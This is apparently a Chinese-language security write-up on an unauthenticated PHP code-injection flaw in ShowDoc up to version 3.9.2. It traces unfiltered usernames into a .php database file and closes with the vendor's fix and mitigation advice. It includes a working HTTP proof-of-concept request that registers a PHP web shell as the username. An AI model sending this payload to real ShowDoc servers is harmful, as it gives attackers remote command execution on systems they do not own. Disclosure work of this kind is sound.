ShowDoc registerByVerify 未授权PHP代码注入漏洞分析
一、基本信息
系统版本: Showdoc <= 3.9.2
二、漏洞分析
开源地址: 我用的3.9.2版本
定位到 \showdoc-3.9.2\server\Application\Api\Controller\UserController.class.php#registerByVerify

对传递过来的 $username registerByVerify 并没有进行过滤。跟进 register。
register 里也没有多 username 进行限制和过滤。
public static function register(string $username, string $password): ?int
{
$username = trim($username);
if ($username === '' || $password === '') {
return null;
}
// 复用原有加密逻辑(算法一致,但通过新 Helper 实现)
$salt = Security::generateSalt();
$hashed = Security::hashPassword($password, $salt);
$now = time();
$uid = DB::table('user')->insertGetId([
'username' => $username,
'password' => $hashed,
'salt' => $salt,
'reg_time' => $now,
]);
return $uid ?: null;
}
最后用 insertGetId 写入到了 showdoc.db.php 里。
将 username 改为恶意代码作为注册的用户名直接注入到 db里,后缀还是 php 的直接触发了 RCE.
POC:
POST /server/index.php?s=/Api/User/registerByVerify HTTP/1.1
Host: 192.168.174.138:888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/json
Content-Length: 39
{"username":"<?php system($_GET[1]);","password":"Admin@12345","confirm_password":"Admin@12345","captcha_id":4,"captcha":"xgmz"}
对于官方的回应,已经对其修复了。添加了正则表达式过滤。

三、总结
- 注册功能会导致
rce调用了 registerByVerify ,也就是说showdoc要开启注册功能。 - 非必要需求不发布互联网内访问。
- 或关闭注册功能。
- 限制
showdoc.db.php的直接访问。
Hello from security test